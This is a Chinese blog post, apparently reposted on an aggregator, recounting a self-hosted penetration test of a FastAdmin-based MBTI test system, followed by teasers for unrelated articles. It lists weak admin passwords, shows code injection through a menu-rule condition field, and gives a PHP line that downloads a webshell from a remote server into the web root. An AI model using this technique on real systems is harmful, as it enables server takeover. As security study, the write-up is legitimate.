某MBTI性格測試系統后臺Getshell

在淘寶購買了性格測試系統源代碼進行環境部署,后進行滲透測試
淘寶源碼鏈接:https://item.taobao.com/item.htm?ft=t&id=790798788255
(自己學習(代碼審計、算法、環境搭建)知識技能提升)

環境準備

集成環境選的是小皮 phpstudy

創建網站,將源代碼放入網站根目錄配置好數據庫信息和端口后

訪問目標端口

漏洞發現

常規信息搜集

1、URL接口掃描是否存在敏感信息 找到后臺管理界面--(PHP FastAdmin管理項目)

2、因為是內網自己搭建的環境就每天做端口掃描

3、分析網址信息

根據信息搜集 發現管理系統是PHP FastAdmin項目

FastAdmin 是基于ThinkPHP5和Bootstrap的極速后臺開發框架。 基于ThinkPHP行為功能實現的插件機制,擁有豐富的插件和擴展,可直接在線安裝卸載 。 基于完善的Auth權限控制管理、無限父子級權限分組、可自由分配子級權限、一個管理員可同時屬于多個組別 。

進一步信息搜集js是否存在敏感接口

/s/diaosu/admin
/index.php
/s/admin_aspcms
/mbti/index/pay/sn/.html
jQuery v2.1.4 
FastAdmin項目
php 后端開發語言

根據源代碼中提供的后臺說明文檔,訪問到管理后臺

弱口令測試登陸成功

admin/admin
admin/123456
admin/admin123
admin/admin123456
root/root
root/root123
root/123456
root/

進入后臺找功能點getshell。后臺默認會有插件管理功能,但是我們在后臺沒有找到這個功能,我們直接訪問插件管理的地址

嘗試離線上傳木馬getshell失敗了.....

漏洞利用

接著翻后臺,發現在菜單規則中可以創建規則條件,嘗試在功能點中寫入phpinfo()

然后來到管理員管理中,添加一個管理員。所屬組為二級管理員組!!!

添加完成之后,重新用新添加的賬戶登錄后臺,可以發現phpinfo()被成功執行。

通過搜索$_SERVER[‘DOCUMENT_ROOT’]獲取網站根目錄,

找到根路徑后注銷賬戶,準備一個webshell木馬名為shell.php,放在自己的服務器上,使用python啟動一個臨時web。

回到管理后臺當中,在同樣的位置寫入如下語句,將遠程服務器的webshell木馬下載到網站根目錄。

file_put_contents('/xxx/xxx/xxx/shell.php',file_get_contents('遠程http服務IP/shell.php'))

webshell木馬已被成功寫入網站根目錄

遠程連接成功!

總結

瀏覽網站—發現管理后臺為FastAdmin—>通過弱口令進入后臺—>規則條件中寫入phpinfo()—>獲得網站根目錄—>規則條件中寫入webshell

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/10203.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/10203.shtml
英文地址,請注明出處:http://en.pswp.cn/web/10203.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Doris【部署 01】Linux部署MPP數據庫Doris穩定版(下載+安裝+連接+測試)

本次安裝測試的為穩定版2.0.8官方文檔 https://doris.apache.org/zh-CN/docs/2.0/get-starting/quick-start 這個簡短的指南將告訴你如何下載 Doris 最新穩定版本,在單節點上安裝并運行它,包括創建數據庫、數據表、導入數據及查詢等。 Linux部署穩定版Do…

ElasticSearch的python api以及dev tool方式的基本操作

一、環境要求 根據es服務器版本,下載es的python api包,我們這里的環境為: python3.8, 下載的elastic search版本為7.6.0,安裝方式: pip install elasticsearch7.6.0二、es操作及python代碼 1、獲取es實例&#xff0…

LeetCode 每日一題 2024/5/6-2024/5/12

記錄了初步解題思路 以及本地實現代碼;并不一定為最優 也希望大家能一起探討 一起進步 目錄 5/6 741. 摘櫻桃5/7 1463. 摘櫻桃 II5/8 2079. 給植物澆水5/9 2105. 給植物澆水 II5/10 2960. 統計已測試設備5/11 2391. 收集垃圾的最少總時間5/12 5/6 741. 摘櫻桃 從起點…

當下是風口的熱門兼職副業,月入3萬問題不大,附保姆教程!

近年來,短視頻行業呈現出迅猛的發展勢頭,已經成為當下最受歡迎的一種形式。甚至連曾經的電商巨頭京東也開始積極布局這一領域,投入巨資20億元進行深入耕耘。 周周近財:讓網絡小白少花冤枉錢,賺取第一桶金 不知道您是…

第 8 章 機器人底盤Arduino端入口(自學二刷筆記)

重要參考: 課程鏈接:https://www.bilibili.com/video/BV1Ci4y1L7ZZ 講義鏈接:Introduction Autolabor-ROS機器人入門課程《ROS理論與實踐》零基礎教程 8.4.2 底盤實現_01Arduino端入口 ros_arduino_bridge/ros_arduino_firmware/src/libraries/ROSArduinoBridge…

Android APP讀寫外置SD卡無權限 java.io.IOException: Permission denied

在物聯網應用里,app需要對掛載SD卡讀寫文件,從 Android 4.4(KitKat)版本開始,Google 引入了一項名為 "Storage Access Framework" 的新功能,該功能限制了應用對外部存儲的直接讀寫權限,要不然就是…

引入Minio

前置條件 官網:https://www.minio.org.cn/download.shtml#/kubernetes 命令 # 查看系統上的網絡連接和監聽端口信息 netstat -tpnl # 檢查系統的指定端口占用情況 sudo netstat -tuln | grep 9000systemctl status firewalld # 臨時關閉 systemctl stop firewall…

生信人寫程序1. Perl語言模板及配置

生物信息領域常用語言 個人認為:是否能熟悉使用Shell(項目流程搭建)R(數據統計與可視化)Perl/Python/Java…(膠水語言,數據格式轉換,軟件間銜接)三門語言是一位合格生物信息工程師的標準。 生物信息常用語言非常廣泛,我常用的有…

在macOS中開發的Django項目部署到局域網的Win10服務器上

由于windows10是日常辦公電腦,沒有服務器基本環境,部署工程耗費不少時間,記錄一下。 1、安裝Python 訪問Python官方下載頁面:Python Downloads,下載適用于Windows的安裝程序并按照提示進行安裝。開發環境python版本是…

Python可以自學但是千萬不要亂學,避免“埋頭苦學”的陷阱!

前言 Python可以自學但是千萬不要亂學! 歸根結底因為學習是個反人性的過程! 復盤沒學下去的網課,都有以下特點: 😅 臣妾聽不懂啊! 初次接觸編程遇到太多抽象高深的概念,不了解老師口中的一個…

基于51單片機的二氧化碳檢測及調節系統仿真

基于51單片機的二氧化碳檢測及調節系統 (仿真+程序) 功能介紹 具體功能: 1.二氧化碳傳感器測得二氧化碳數據后經過單片機處理。 2.LCD1602實時顯示,第一行顯示測得的濃度值,第二行顯示報警閾值。 3.測…

棱鏡七彩參編《網絡安全技術 軟件供應鏈安全要求》國家標準發布

據全國標準信息公共服務平臺消息顯示,《網絡安全技術 軟件供應鏈安全要求》(GB/T 43698-2024)國家標準已于2024年4月25日正式發布,并將于2024年11月1日正式實施。棱鏡七彩作為主要編制單位之一參與該國家標準的編制,為…

Taro 快速開始

大家好我是蘇麟 , 今天聊聊Trao. 官網 : Taro 介紹 | Taro 文檔 (jd.com) 點擊快速開始 全局安裝 CLI 初始化一個項目 選擇配置 : 根據自己需求選擇 安裝失敗先不用管 , 用前端工具打開項目 npm install 安裝 , 顯示安裝失敗 怎么解決 ? : 查看報錯信息 百度 , 問 AI 工具 運…

算法練習第六十天|84. 柱狀圖中最大的矩形

84. 柱狀圖中最大的矩形 柱狀圖中最大的矩形 class Solution {public int largestRectangleArea(int[] heights) {int[] newHeight new int[heights.length 2];System.arraycopy(heights, 0, newHeight, 1, heights.length);newHeight[heights.length1] 0;newHeight[0] 0;…

算法學習筆記(最短路——spfa)

前置:bellman-ford s p f a spfa spfa是 B e l l m a n ? F o r d Bellman-Ford Bellman?Ford算法的改進。在 B e l l m a n ? F o r d Bellman-Ford Bellman?Ford中,我們在每一輪中枚舉了每一條邊,但是實際上,在上一輪中沒有…

睿爾曼機械臂ROS控制

下載git工程 git clone https://github.com/RealManRobot/rm_robot.git安裝配置 catkin build rm_msgs source devel/setup.bash catkin build source setup.bash這里注意,如果采用setup.sh多半不會成功,必須要source setup.bash文件,ros才…

train_gpt2_fp32.cu

源程序 llm.c/test_gpt2_fp32.cu at master karpathy/llm.c (github.com) #include <stdio.h> #include <stdlib.h> #include <math.h> #include <time.h> #include <assert.h> #include <float.h> #include <string.h> #include…

二叉樹的最小深度和二叉樹的節點數

二叉數的最小深度&#xff1a; 思路&#xff1a;和最大深度一樣需要用到回溯遞歸的方法 代碼大致內容 判斷函數是否為空&#xff0c;如果是空return 0&#xff1b; 定義一個變量接收遞歸函數返回的值&#xff08;左&#xff09; 定義一個變量接收遞歸函數返回的值&#xf…

力扣每日一題-收集垃圾的最少總時間-2024.5.11

力扣題目&#xff1a;收集垃圾的最少總時間 題目鏈接: 2391.收集垃圾的最少總時間 題目描述 代碼純享版 class Solution {public int garbageCollection(String[] garbage, int[] travel) {int sum 0;int last_M -1,last_P -1, last_G -1;for(int i 0; i < garbage.…

以Azure為例的SSO

由于文章的篇幅有限&#xff0c;無法將全部的代碼貼上來&#xff0c;如想要看完整案例&#xff0c;請在公眾號文章中留言(其他平臺很少看…畢竟最近印度同事的UI組件庫搞得我好煩) 1.關于SSO 單點登錄又稱之為SSO,全稱為 Single Sign On &#xff0c;一般在多個應用系統中&…